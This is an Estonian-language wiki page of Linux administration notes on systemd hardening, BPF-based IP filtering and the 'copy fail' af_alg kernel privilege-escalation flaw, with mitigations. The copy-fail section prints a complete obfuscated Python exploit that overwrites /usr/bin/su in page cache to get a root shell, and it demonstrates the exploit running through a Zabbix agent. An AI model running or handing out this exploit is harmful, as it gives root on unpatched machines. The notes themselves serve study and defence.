XDG_SESSION_ID=29&lt;br /&gt;
XDG_RUNTIME_DIR=/run/user/1000&lt;br /&gt;
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===LoadCredentials kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# systemctl edit nginx&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
LoadCredential=ssl_key:/etc/ssl/private/nginx.key&lt;br /&gt;
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-analyze===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07&lt;br /&gt;
  NAME                                                        DESCRIPTION                                                             EXPOSURE&lt;br /&gt;
✗ KeyringMode=                                                Service shares key material with other service                               0.2&lt;br /&gt;
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    &lt;br /&gt;
  RemoveIPC=                                                  Service runs as root, option does not apply                                     &lt;br /&gt;
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2&lt;br /&gt;
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2&lt;br /&gt;
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           &lt;br /&gt;
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2&lt;br /&gt;
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1&lt;br /&gt;
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2&lt;br /&gt;
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1&lt;br /&gt;
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1&lt;br /&gt;
✗ PrivateMounts=                                              Service may install system mounts                                            0.2&lt;br /&gt;
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1&lt;br /&gt;
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3&lt;br /&gt;
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1&lt;br /&gt;
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1&lt;br /&gt;
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2&lt;br /&gt;
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1&lt;br /&gt;
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3&lt;br /&gt;
✗ LockPersonality=                                            Service may change ABI personality                                           0.1&lt;br /&gt;
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1&lt;br /&gt;
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1&lt;br /&gt;
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1&lt;br /&gt;
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2&lt;br /&gt;
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2&lt;br /&gt;
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3&lt;br /&gt;
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5&lt;br /&gt;
✗ PrivateUsers=                                               Service has access to other users                                            0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2&lt;br /&gt;
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2&lt;br /&gt;
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2&lt;br /&gt;
✗ UMask=                                                      Files created by service are world-readable by default                       0.1&lt;br /&gt;
&lt;br /&gt;
→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨&lt;br /&gt;
kasutaja@ph-minio-01:~$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===bpf integratsioon===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas&lt;br /&gt;
* bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)&lt;br /&gt;
* bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)&lt;br /&gt;
* bpf palju suurema jõudlusega kui tava-paketifilter&lt;br /&gt;
&lt;br /&gt;
====Service====&lt;br /&gt;
&lt;br /&gt;
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 06&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8096:80&lt;br /&gt;
ContainerName=nginx-06&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
# Block all IP traffic by default&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
# Then explicitly allow only what you need (e.g., your local subnet)&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.1&lt;br /&gt;
IPAddressAllow=8.8.8.8&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib&lt;br /&gt;
&lt;br /&gt;
Kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user daemon-reload&lt;br /&gt;
root@ph-minio-01:~# systemctl --user stop nginx-06&lt;br /&gt;
root@ph-minio-01:~# systemctl --user start nginx-06&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 185&lt;br /&gt;
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 186&lt;br /&gt;
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* run_cnt näitab kui mitmel korral on kitsendust rakendatud&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map show id 51&lt;br /&gt;
51: lpm_trie  name 4_nginx_06.serv  flags 0x1&lt;br /&gt;
	key 8B  value 8B  max_entries 3  memlock 156B&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map dump id 51&lt;br /&gt;
key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
Found 3 elements&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sellise skriptiga saab teisendada loetavamaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat bpftool-map-dump.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bpftool map dump id 51 | grep '^key' | while read -r line; do&lt;br /&gt;
    bytes=($(echo $line | cut -d: -f2))&lt;br /&gt;
    printf &amp;quot;Prefix: %d | IP: %d.%d.%d.%d\n&amp;quot; &amp;quot;$((16#${bytes[0]}))&amp;quot; &amp;quot;$((16#${bytes[4]}))&amp;quot; &amp;quot;$((16#${bytes[5]}))&amp;quot; &amp;quot;$((16#${bytes[6]}))&amp;quot; &amp;quot;$((16#${bytes[7]}))&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ./bpftool-map-dump.sh&lt;br /&gt;
Prefix: 32 | IP: 8.8.8.8&lt;br /&gt;
Prefix: 32 | IP: 127.0.0.1&lt;br /&gt;
Prefix: 24 | IP: 192.168.10.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.&lt;br /&gt;
&lt;br /&gt;
====Slice====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl edit user.slice&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf&lt;br /&gt;
[Slice]&lt;br /&gt;
# This is a slice, but we can still pass BPF instructions&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.0/8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logida välja ja sisse ssh pealt näiteks ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 received, 100% packet loss, time 1005ms&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
bpftop esitab ülevaatlikult&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260420-systemd-bpf-01.png|800px]]&lt;br /&gt;
&lt;br /&gt;
===20260501 - copy fail eksploit===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel&lt;br /&gt;
* pedagoogilises mõttes on see huvitav lugu&lt;br /&gt;
* vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - af_alg====&lt;br /&gt;
&lt;br /&gt;
af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ date &amp;gt; cleartext.txt&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c &amp;quot;cbc(aes)&amp;quot; --passwd &amp;quot;MyPassword123&amp;quot; --iv $(openssl rand -hex 12) &amp;lt; cleartext.txt &amp;gt; encrypted.bin&lt;br /&gt;
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 iterations used: 131072&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ lsmod | grep alg&lt;br /&gt;
algif_hash             12288  0&lt;br /&gt;
algif_rng              12288  0&lt;br /&gt;
algif_skcipher         12288  0&lt;br /&gt;
algif_aead             12288  0&lt;br /&gt;
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - eksploit====&lt;br /&gt;
&lt;br /&gt;
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt&lt;br /&gt;
&lt;br /&gt;
* esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i&lt;br /&gt;
* siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)&lt;br /&gt;
* käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli&lt;br /&gt;
* teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna&lt;br /&gt;
* page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega, mis on nö ext4 jt failisüsteemide kohal ja protsesside all&lt;br /&gt;
&lt;br /&gt;
Asjaosalised kihid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arvutis töötavad protsessid (asuvad arvuti mälus)&lt;br /&gt;
  &lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
vfs (virtual file system) (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
page cache (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
ext4 filesystem (asub plokkseadmel)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
plokkseade (asub nö füüsilisel esemel)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;br /&gt;
* page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'&lt;br /&gt;
* plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil&lt;br /&gt;
&lt;br /&gt;
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - leevendus====&lt;br /&gt;
&lt;br /&gt;
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)&lt;br /&gt;
&lt;br /&gt;
* uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)&lt;br /&gt;
* lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne&lt;br /&gt;
* lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)&lt;br /&gt;
&lt;br /&gt;
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.&lt;br /&gt;
&lt;br /&gt;
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse&lt;br /&gt;
&lt;br /&gt;
Leevenduste iseloomustus&lt;br /&gt;
&lt;br /&gt;
* systemd (seccomp) - operatsioonisüsteemi syscall liidesel asuv nö tulemüür, mingis mõttes asub kerneli protsesside poole vaatavas osas&lt;br /&gt;
* apparmor (lsm - linux security modules)- erinevate süsteemi võimekustele ligipääsemise takistamised (asub kerneli protsesside poole vaatavast osast teisel pool)&lt;br /&gt;
* modprobe - kerneli funktsionaalsust realiseeriv komponent (kahe esimese puhul ei saa funktsionaalust kasutada isegi kui kernelis on see iseenest kohal)&lt;br /&gt;
&lt;br /&gt;
====Eksploit näide====&lt;br /&gt;
&lt;br /&gt;
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ cat /home/tmp/cf.py&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os as g,zlib,socket as s&lt;br /&gt;
def d(x):return bytes.fromhex(x)&lt;br /&gt;
def c(f,t,c):&lt;br /&gt;
 a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
 try:u.recv(8+t)&lt;br /&gt;
 except:0&lt;br /&gt;
f=g.open(&amp;quot;/usr/bin/su&amp;quot;,0);i=0;e=zlib.decompress(d(&amp;quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&amp;quot;))&lt;br /&gt;
while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
g.system(&amp;quot;su&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
$ chmod 0755 /home/tmp/cf.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zabbix agent kaudu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf&lt;br /&gt;
UserParameter=cf,echo id | /home/tmp/cf.py 1&amp;gt;&amp;gt;/home/tmp/cf.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
..&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
page cache puhastamine (&amp;quot;3&amp;quot; kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka &amp;quot;1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - systemd service====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on service põhine&lt;br /&gt;
* praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik&lt;br /&gt;
